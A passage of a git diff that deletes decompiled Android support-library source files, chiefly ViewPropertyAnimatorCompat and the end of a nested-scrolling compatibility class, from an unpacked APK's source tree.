Log.e(TAG, "ViewParent " + viewParent + " does not implement interface method onStopNestedScroll", e); - } - } - - public static void onNestedScroll(ViewParent viewParent, View view, int i, int i2, int i3, int i4) { - try { - viewParent.onNestedScroll(view, i, i2, i3, i4); - } catch (AbstractMethodError e) { - Log.e(TAG, "ViewParent " + viewParent + " does not implement interface method onNestedScroll", e); - } - } - - public static void onNestedPreScroll(ViewParent viewParent, View view, int i, int i2, int[] iArr) { - try { - viewParent.onNestedPreScroll(view, i, i2, iArr); - } catch (AbstractMethodError e) { - Log.e(TAG, "ViewParent " + viewParent + " does not implement interface method onNestedPreScroll", e); - } - } - - public static boolean onNestedFling(ViewParent viewParent, View view, float f, float f2, boolean z) { - try { - return viewParent.onNestedFling(view, f, f2, z); - } catch (AbstractMethodError e) { - Log.e(TAG, "ViewParent " + viewParent + " does not implement interface method onNestedFling", e); - return false; - } - } - - public static boolean onNestedPreFling(ViewParent viewParent, View view, float f, float f2) { - try { - return viewParent.onNestedPreFling(view, f, f2); - } catch (AbstractMethodError e) { - Log.e(TAG, "ViewParent " + viewParent + " does not implement interface method onNestedPreFling", e); - return false; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompat.java deleted file mode 100644 index 62b5f0c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompat.java +++ /dev/null @@ -1,942 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -import android.view.animation.Interpolator; -import java.lang.ref.WeakReference; -import java.util.WeakHashMap; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ViewPropertyAnimatorCompat { - static final ViewPropertyAnimatorCompatImpl IMPL = new LollipopViewPropertyAnimatorCompatImpl(); - static final int LISTENER_TAG_ID = 2113929216; - private static final String TAG = "ViewAnimatorCompat"; - private WeakReference mView; - Runnable mStartAction = null; - Runnable mEndAction = null; - int mOldLayerType = -1; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ViewPropertyAnimatorCompatImpl { - void alpha(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void alphaBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void cancel(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view); - - long getDuration(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view); - - Interpolator getInterpolator(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view); - - long getStartDelay(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view); - - void rotation(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void rotationBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void rotationX(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void rotationXBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void rotationY(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void rotationYBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void scaleX(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void scaleXBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void scaleY(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void scaleYBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void setDuration(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, long j); - - void setInterpolator(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, Interpolator interpolator); - - void setListener(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, ViewPropertyAnimatorListener viewPropertyAnimatorListener); - - void setStartDelay(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, long j); - - void setUpdateListener(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, ViewPropertyAnimatorUpdateListener viewPropertyAnimatorUpdateListener); - - void start(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view); - - void translationX(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void translationXBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void translationY(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void translationYBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void translationZ(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void translationZBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void withEndAction(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, Runnable runnable); - - void withLayer(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view); - - void withStartAction(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, Runnable runnable); - - void x(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void xBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void y(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void yBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void z(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - - void zBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public ViewPropertyAnimatorCompat(View view) { - this.mView = new WeakReference<>(view); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseViewPropertyAnimatorCompatImpl implements ViewPropertyAnimatorCompatImpl { - WeakHashMap mStarterMap = null; - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public long getDuration(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - return 0L; - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public Interpolator getInterpolator(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - return null; - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public long getStartDelay(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - return 0L; - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void setDuration(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, long j) { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void setInterpolator(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, Interpolator interpolator) { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void setStartDelay(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, long j) { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void setUpdateListener(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, ViewPropertyAnimatorUpdateListener viewPropertyAnimatorUpdateListener) { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void translationZ(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void translationZBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void withLayer(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void z(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void zBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - } - - BaseViewPropertyAnimatorCompatImpl() { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void alpha(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void translationX(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void translationY(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void withEndAction(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, Runnable runnable) { - viewPropertyAnimatorCompat.mEndAction = runnable; - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void alphaBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void rotation(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void rotationBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void rotationX(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void rotationXBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void rotationY(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void rotationYBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void scaleX(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void scaleXBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void scaleY(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void scaleYBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void cancel(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void x(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void xBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void y(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void yBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void translationXBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void translationYBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void start(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - removeStartMessage(view); - startAnimation(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void withStartAction(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, Runnable runnable) { - viewPropertyAnimatorCompat.mStartAction = runnable; - postStartMessage(viewPropertyAnimatorCompat, view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void setListener(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, ViewPropertyAnimatorListener viewPropertyAnimatorListener) { - view.setTag(ViewPropertyAnimatorCompat.LISTENER_TAG_ID, viewPropertyAnimatorListener); - } - - void startAnimation(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - Object tag = view.getTag(ViewPropertyAnimatorCompat.LISTENER_TAG_ID); - ViewPropertyAnimatorListener viewPropertyAnimatorListener = tag instanceof ViewPropertyAnimatorListener ? (ViewPropertyAnimatorListener) tag : null; - Runnable runnable = viewPropertyAnimatorCompat.mStartAction; - Runnable runnable2 = viewPropertyAnimatorCompat.mEndAction; - viewPropertyAnimatorCompat.mStartAction = null; - viewPropertyAnimatorCompat.mEndAction = null; - if (runnable != null) { - runnable.run(); - } - if (viewPropertyAnimatorListener != null) { - viewPropertyAnimatorListener.onAnimationStart(view); - viewPropertyAnimatorListener.onAnimationEnd(view); - } - if (runnable2 != null) { - runnable2.run(); - } - WeakHashMap weakHashMap = this.mStarterMap; - if (weakHashMap != null) { - weakHashMap.remove(view); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class Starter implements Runnable { - WeakReference mViewRef; - ViewPropertyAnimatorCompat mVpa; - - Starter(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - this.mViewRef = new WeakReference<>(view); - this.mVpa = viewPropertyAnimatorCompat; - } - - @Override // java.lang.Runnable - public void run() { - View view = this.mViewRef.get(); - if (view != null) { - BaseViewPropertyAnimatorCompatImpl.this.startAnimation(this.mVpa, view); - } - } - } - - private void removeStartMessage(View view) { - Runnable runnable; - WeakHashMap weakHashMap = this.mStarterMap; - if (weakHashMap == null || (runnable = weakHashMap.get(view)) == null) { - return; - } - view.removeCallbacks(runnable); - } - - private void postStartMessage(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - WeakHashMap weakHashMap = this.mStarterMap; - Runnable runnable = weakHashMap != null ? weakHashMap.get(view) : null; - if (runnable == null) { - runnable = new Starter(viewPropertyAnimatorCompat, view); - if (this.mStarterMap == null) { - this.mStarterMap = new WeakHashMap<>(); - } - this.mStarterMap.put(view, runnable); - } - view.removeCallbacks(runnable); - view.post(runnable); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ICSViewPropertyAnimatorCompatImpl extends BaseViewPropertyAnimatorCompatImpl { - WeakHashMap mLayerMap = null; - - ICSViewPropertyAnimatorCompatImpl() { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void setDuration(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, long j) { - ViewPropertyAnimatorCompatICS.setDuration(view, j); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void alpha(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.alpha(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void translationX(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.translationX(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void translationY(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.translationY(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public long getDuration(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - return ViewPropertyAnimatorCompatICS.getDuration(view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void setInterpolator(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, Interpolator interpolator) { - ViewPropertyAnimatorCompatICS.setInterpolator(view, interpolator); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void setStartDelay(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, long j) { - ViewPropertyAnimatorCompatICS.setStartDelay(view, j); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public long getStartDelay(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - return ViewPropertyAnimatorCompatICS.getStartDelay(view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void alphaBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.alphaBy(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void rotation(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.rotation(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void rotationBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.rotationBy(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void rotationX(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.rotationX(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void rotationXBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.rotationXBy(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void rotationY(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.rotationY(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void rotationYBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.rotationYBy(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void scaleX(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.scaleX(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void scaleXBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.scaleXBy(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void scaleY(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.scaleY(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void scaleYBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.scaleYBy(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void cancel(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - ViewPropertyAnimatorCompatICS.cancel(view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void x(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.x(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void xBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.xBy(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void y(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.y(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void yBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.yBy(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void translationXBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.translationXBy(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void translationYBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatICS.translationYBy(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void start(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - ViewPropertyAnimatorCompatICS.start(view); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void setListener(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, ViewPropertyAnimatorListener viewPropertyAnimatorListener) { - view.setTag(ViewPropertyAnimatorCompat.LISTENER_TAG_ID, viewPropertyAnimatorListener); - ViewPropertyAnimatorCompatICS.setListener(view, new MyVpaListener(viewPropertyAnimatorCompat)); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void withEndAction(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, Runnable runnable) { - ViewPropertyAnimatorCompatICS.setListener(view, new MyVpaListener(viewPropertyAnimatorCompat)); - viewPropertyAnimatorCompat.mEndAction = runnable; - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void withStartAction(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, Runnable runnable) { - ViewPropertyAnimatorCompatICS.setListener(view, new MyVpaListener(viewPropertyAnimatorCompat)); - viewPropertyAnimatorCompat.mStartAction = runnable; - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void withLayer(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - viewPropertyAnimatorCompat.mOldLayerType = ViewCompat.getLayerType(view); - ViewPropertyAnimatorCompatICS.setListener(view, new MyVpaListener(viewPropertyAnimatorCompat)); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MyVpaListener implements ViewPropertyAnimatorListener { - boolean mAnimEndCalled; - ViewPropertyAnimatorCompat mVpa; - - MyVpaListener(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat) { - this.mVpa = viewPropertyAnimatorCompat; - } - - @Override // android.support.v4.view.ViewPropertyAnimatorListener - public void onAnimationStart(View view) { - this.mAnimEndCalled = false; - if (this.mVpa.mOldLayerType >= 0) { - ViewCompat.setLayerType(view, 2, null); - } - if (this.mVpa.mStartAction != null) { - Runnable runnable = this.mVpa.mStartAction; - this.mVpa.mStartAction = null; - runnable.run(); - } - Object tag = view.getTag(ViewPropertyAnimatorCompat.LISTENER_TAG_ID); - ViewPropertyAnimatorListener viewPropertyAnimatorListener = tag instanceof ViewPropertyAnimatorListener ? (ViewPropertyAnimatorListener) tag : null; - if (viewPropertyAnimatorListener != null) { - viewPropertyAnimatorListener.onAnimationStart(view); - } - } - - @Override // android.support.v4.view.ViewPropertyAnimatorListener - public void onAnimationEnd(View view) { - if (this.mVpa.mOldLayerType >= 0) { - ViewCompat.setLayerType(view, this.mVpa.mOldLayerType, null); - this.mVpa.mOldLayerType = -1; - } - if (this.mVpa.mEndAction != null) { - Runnable runnable = this.mVpa.mEndAction; - this.mVpa.mEndAction = null; - runnable.run(); - } - Object tag = view.getTag(ViewPropertyAnimatorCompat.LISTENER_TAG_ID); - ViewPropertyAnimatorListener viewPropertyAnimatorListener = tag instanceof ViewPropertyAnimatorListener ? (ViewPropertyAnimatorListener) tag : null; - if (viewPropertyAnimatorListener != null) { - viewPropertyAnimatorListener.onAnimationEnd(view); - } - this.mAnimEndCalled = true; - } - - @Override // android.support.v4.view.ViewPropertyAnimatorListener - public void onAnimationCancel(View view) { - Object tag = view.getTag(ViewPropertyAnimatorCompat.LISTENER_TAG_ID); - ViewPropertyAnimatorListener viewPropertyAnimatorListener = tag instanceof ViewPropertyAnimatorListener ? (ViewPropertyAnimatorListener) tag 